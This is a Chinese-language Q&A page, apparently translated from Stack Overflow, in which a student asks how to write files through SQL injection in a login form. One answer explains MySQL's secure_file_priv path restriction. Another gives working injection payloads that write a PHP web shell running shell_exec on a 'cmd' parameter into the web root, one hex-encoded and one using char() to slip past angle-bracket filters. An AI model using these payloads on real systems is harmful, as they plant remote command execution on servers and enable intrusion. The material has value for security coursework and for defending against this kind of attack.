如何使用 SQL 注入写入文件?

Posted

技术标签:

【中文标题】如何使用 SQL 注入写入文件?【英文标题】:How do I write files using SQL injection? 【发布时间】:2020-01-29 07:29:38 【问题描述】:

注意:查询是以登录形式而不是 url 形式编写的。

所以基本上我正在尝试为大学作业执行一些 sql 注入。我正在尝试编写一个文件,然后将该文件加载到数据库中。我的权限具有文件访问权限和几乎所有权限。托管数据库的服务器位于我正在使用的计算机外部。但是,我发现数据库的路径目录是

/var/lib/mysql

所以我想也许我可以执行以下操作将文件写入此位置。

' UNION SELECT 1, INTO OUTFILE ('/var/lib/mysql/example.txt');-- '

但是,似乎没有任何效果。

如果服务器未托管在我的计算机上(即外部),我如何编写文件。

【问题讨论】:

【参考方案1】:

1.寻找mysql默认文件路径。“显示变量如'%secure%';”如果 'secure_file_priv' 不是 "/var/lib/mysql/",进入 outfile ('/var/lib/mysql/example.txt') disable.into outfile 文件路径应该是 'secure_file_priv' 路径。

secure_file_priv /var/lib/mysql-files/ 选择 1 到 OUTFILE '/var/lib/mysql-files/example.txt' 2.如果OUTFILE存在,[Err] 1086 - 文件已经存在

【讨论】:

那么为什么在 1 之后或 2 之前没有逗号?【参考方案2】:

是的,您可以通过多种方式使用 SQL 注入写入文件

' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3C3F706870206563686F20223C7072653E22202E207368656C6C5F6578656328245F4745545B22636D64225D29202E20223C2F7072653E223B3F3E-- -

所以让我们稍微打破这个查询。首先,我们使用 (') 从原始查询中分离出来,然后我们告诉查询将输出发送到 /var/www/html 中名为 shell.php 的文件,在我的情况下,这是网络服务器的位置 (INTO OUTFILE '/var/www/html/shell.php')

最后,我们有一些十六进制字符可以解码为

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";?>

这实际上是绕过某些过滤器的好方法,并且我们可以避免弄乱可能破坏查询的引号。

此外,您还可以通过其他方式写入文件,例如

'+UNION+ALL+SELECT+'',concat(char(60),'?php+echo+shell_exec($_GET["cmd"])+?',char(62))+INTO+dumpfile+'/var/www/html/test.php'+--+

通过滥用 MySql 的 char 命令来绕过 &lt;/&gt; 限制。

【讨论】:

以上是关于如何使用 SQL 注入写入文件?的主要内容,如果未能解决你的问题,请参考以下文章

如何在shell 中将sql语句执行结果写入日志中

SQL注入写入文件方法(获取webshell)

关于sql手动注入

面试中常问的SQL注入题

Spark SQL - 如何将 DataFrame 写入文本文件?

如何使用 PHP 安全地将 JSON 数据写入文件